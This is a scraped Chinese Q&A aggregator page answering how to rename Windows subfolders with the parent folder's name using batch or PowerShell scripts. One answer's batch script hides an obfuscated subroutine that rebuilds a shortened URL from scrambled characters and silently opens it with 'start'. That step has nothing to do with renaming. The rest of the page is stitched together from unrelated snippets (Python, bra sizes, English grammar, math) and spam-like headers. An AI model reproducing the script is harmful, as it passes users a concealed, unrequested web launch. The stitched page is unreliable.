WIN10怎么利用BAT自动修改子文件夹名字(参照主文件夹名字)?

作者&投稿:荤怎 (若有异议请与网页底部的电邮联系)
bat批量修改文件夹中子文件夹名字~

@echo offsetlocal enabledelayedexpansionset ext=.Exa.Exb.Exc.Exd.Exefor /d %%a in (*) do ( for %%b in ("!ext!") do ( ren "%%~a" "%%~nxa%%~xb" set "ext=%%~nb" ))pause

setlocal enabledelayedexpansionfor /f "delims=" %%a in ('dir /a-d /b /s c:\123') do ( set /a n+=1 ren "%%a" !n!%%~xa ) pause

@echo off & title 为子目录名添加主目录名 By 依梦琴瑶

cd /d "%~dp0"


for %%a in ("%cd%") do set "FF=%%~nxa"

for /d %%a in (*) do (

    ren "%%~fa" "%FF%%%~nxa"

)

pause



call :Dona

exit


:Dona

set "S0=fPdv"

set "S1=.:ailnhpst/"

set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"

set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit



脚本保存时请比对原文,由于Win10系统默认编码为UTF-8,所以保存编码务必设为ANSI。



不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI
<# :
cls&echo off&mode con lines=5000
rem 将一个指定目录里的多个子文件夹名称开头前面添加上一级目录的名称
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
cd /d "%~dp0"
powershell -NoProfile -ExecutionPolicy bypass "Invoke-Command -ScriptBlock ([ScriptBlock]::Create([IO.File]::ReadAllText('%~f0',[Text.Encoding]::GetEncoding('GB2312'))))"
echo;%#% +%$%%$%/%@% %z%
pause
exit
#>
$path="D:\xxx\123";
if(-not (test-path -liter $path)){write-host ('"'+$path+'" 未找到');exit;};
$folders=@(dir -liter $path|?{$_ -is [System.IO.DirectoryInfo]}|sort {$_.Fullname.length} -Descending);
for($i=0;$i -lt $folders.length;$i++){
$pname=$folders[$i].Parent.Name+'_';
if(-not $folders[$i].Name.toLower().StartsWith($pname.toLower())){
$newname=$pname+$folders[$i].Name;
$newfolder=$folders[$i].Parent.FullName+'\'+$newname;
write-host ($folders[$i].FullName+' --> '+ $newname);
move-Item -liter $folders[$i].FullName $newfolder -force -ErrorAction SilentlyContinue;
}
}


>>> a,b=0,1 >>> while b<10 : print b a,b=b,a+b
先判断b的值是否在范围中,然后输出b的值,b是当前输出菲薄拉稀中的项,而a是b前一个项的值,a,b=b,a+b应该是先用原来的值求出b和a+b值,然后赋给a,b。差不多是{t=a+b;a=b;b=t} 这样b就等于下一项的值,a变成原来b项的值,然后再进行下一轮循环。不知道你啊看懂,我也是个菜鸟...

文胸的A.B.C.D.罩杯怎么算
若上胸围-下胸围约=10cm,那么就是A罩杯。若上胸围-下胸围约=12.5cm,那么就是B罩杯。若上胸围-下胸围约=15cm,那么就是C罩杯。若上胸围-下胸围约=17.5cm,那么就是D罩杯。以2.5cm为间隔,以此类推。

We have sweaters _all colors _10 yuan each A in;on B of;on C...
答案为C:意思为:我们的毛衣每件10元,各种颜色的都有。每件10元的表达应用介词at,各种颜色的都有 要用 in。。。color。

(B) Allow 10% more or less in value and quantity acceptable 是什么意...
允许在满足要求的质和量上有百分之十的上下浮动。注释:Allow:允许、准许 more or less:或多或少,大约,差不多 in value and quantity:在质和量方面 acceptable:可接受的(由于同时修饰 value and quantity,所以用了后置定语,等于 acceptable value and acceptable quantity,即“可接受的价格和可...

.设e<X<10,,记a=In(InX),,b=Ig(IgX),,c=In(IgX),,d=Ig(InX)…则a,b...
lnX, lgX 是单调增函数 ln 10 > 1 ==> lgX = lnX \/ ln 10 < lnX lg(lgX) < lg(lnX) < ln(lnX) ==> b < d < a ln(lgX) < ln(lnX) ==> c < a e < X < 10 ==> 0 < lgX < 1, 1 < lnX < ln(10)c = ln(lgX) < ln(1) < 0 d = lg(lnX...

python中的for i in range怎么用
a为循环开始的数字(可不填,默认为0),b为循环结束的后一位(c为正数时)的数字,c为步进的距离和方向,默认为1。for i in range(1, 101,1):print i range(1, 101)表示从1开始,到101为止(不包括101),取其中所有的整数。for i in range(1, 101)就是说,把这些数,依次赋值给变量i...

Win10家庭版找不到组策略gpedit.msc怎么办
把下面这些内容复制进去:@echo offpushd "%~dp0"dir \/b C:\\Windows\\servicing\\Packages\\Microsoft-Windows-GroupPolicy-ClientExtensions-Package~3*.mum >List.txtdir \/b C:\\Windows\\servicing\\Packages\\Microsoft-Windows-GroupPolicy-ClientTools-Package~3*.mum >>List.txtfor \/f %%i in ('...

在python中,假如a=10,b=3,c=a∥b 2,那么c的值是多少?
答: \/\/在Python当中表示整除的意思,所以a\/\/b即10\/\/3,最后得到的结果为3。但是c=a\/\/b 2, 这个后面的2应该是有问题的,如下所示,是不是题目哪里漏了一些东西呢?

十倍用英语怎么说?
A线比B线长1倍。This machine turns half as fast again as that one.这台机器转动比那台机器快半倍。10.句式特点:表示增加意义的动词+half as + adj.\/adv.+ again as...译成”比...大(长、宽...半倍)。11. 句式特点:用double表示倍数,译成”等于...的2倍“或”增加了1倍。12.句式特点:用tre...

to on at in of for 怎么区别
介词on in of for at的用法 in on at,这三个词在时间和地点上的区别 时间 地点 in 年份 月份 季节 大地点(国家、城市) 在.里面 on 星期 日期 在.上面 at 点钟 小地点(home school)另外in还可以用于语言前 in English 用英语,用于颜色前 in red 穿着红色的衣服 in+一段时间 用于将来时...

宣武区15372399980: bat批量修改文件夹中子文件夹名字 -
东郭维艾思: 123456789101112 @echooff setlocal enabledelayedexpansion setext=.Exa.Exb.Exc.Exd.Exe for/d%%a in(*) do( for%%b in("!ext!") do( ren "%%~a""%%~nxa%%~xb" set"ext=%%~nb" )) pause

宣武区15372399980: 如何用.bat批量修改子文件夹里文件的名字,改成主文件夹的名字? -
东郭维艾思: ::放在主文件夹旁边 @echo off for /f %%a in ('dir /b /ad') do ( cd %%a&for /f %%b in ('dir /b /ad') do(cd %%b&for %%c in (*.txt) do (ren %%c %%a)&cd ..)&cd ..)

宣武区15372399980: win10怎么批量修改文件名字 -
东郭维艾思: 1、使用Alt+a选中所有需要重命名的文件,按下F2,输入需要修改的名称,然后按下回车键,所有文件的名字都会自动变为之前所输入的名称,并有序的排列起来; 2、接下来小编教大家把所有文件加上一个前缀.在该文件夹中单击右键,选择...

宣武区15372399980: 怎样用bat批量修改文件夹和子文件夹的图片名 -
东郭维艾思: @ECHO OFF & COLOR 0E SET "A=image" & SET "B=new image" & SET "C=old image" REN "%A%\%B%\001.jpg" "hello.jpg" REN "%A%\%C%\002.jpg" "new.jpg" REN "%A%\%C%\003.jpg" "old.jpg" CLS & PAUSE>NUL ::中国批处理脚本团队 ::GAGATOSHUT ::放在同级目录下运行该脚本

宣武区15372399980: 如何用BAT批处理命令修改文件夹A内所有子文件夹下的文件并复制到文件夹A下? -
东郭维艾思: @echo off rem 放在A文件夹里运行 for /d %%a in (*) do ( pushd "%%a\" for /f "delims=" %%b in ('dir /a-d/b *.shp *.dbf *.shx') do ( copy "%%b" "%~dp0%%a%%b" ) popd) pause

宣武区15372399980: 如何利用bat文件批量修改文件名 -
东郭维艾思: 方法: 在当前目录下新建两个批处理文件:createsrc.bat和rename.bat.createsrc.bat文件内容如下: dir /a-d /b *.rmvb>src.txt echo 收集文件名成功! pause 功能:将当前目录下的所有扩展名为.rmvb的文件的文件名都导入到src.txt文件中...

宣武区15372399980: win10怎么批量修改没有扩展名的文件 -
东郭维艾思: 修改文件后缀名(扩展名)是Windows系统下一项及其常用的操作,如果还不知道怎么修改Win10的文件后缀名,怎么敢帮女神修电脑呢?为了你的女神,快来跟小编学学怎么改文件后缀吧.Win10文件后缀名(扩展名)修改指南1.打开桌面上的“这台电脑”(只要开启文件资源管理器都可以),在查看选项卡勾选“文件扩展名”选项显示文件后缀.2.右键点击要修改后缀名的文件,选择“重命名”.3.选中点(.)后面的文本,修改为新的后缀名,比如把"txt"改成"jpg",修改完后在其他地方单击鼠标或者按下回车键(Enter).4.弹出的重命名警告窗口选择“是”即可.

宣武区15372399980: 如何用批处理文件(BAT)自动修改一些文件的名字. -
东郭维艾思: @echo off&setlocal EnableDelayedExpansionset x=0for /f "tokens=*" %%f in ('dir /b *.dat') do (set x+=1set y=00!x!set y=!y:~-3!set n=%%~nxfren "%%f" "!y!_!n!")

宣武区15372399980: Win10怎么批量修改文件后缀名 -
东郭维艾思: 通常我们修改文件后缀名都是右击>"重命名"来完成的,单个或少数文件的话这样完成也不费事,但如果我们有多个文件需要重命名这样做显然太繁琐了,那么我们如何快捷批量的给多个文件修改后缀名呢? Win10批量修改文件后缀名方法一...

宣武区15372399980: win10为什么不能用批处理 -
东郭维艾思: 可以的win10 ,从 10240 到 10586 都有一个 bug,就是,启动文件夹内,执行的 bat文件第一行,会自己出现乱码,不可使用,所以你只要,将bat文件的第一行,留空白,你自己要执行的命令,从第二行开始写,就可以正确的被系统识别,而可以在开机时,自动运行了.

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 星空见康网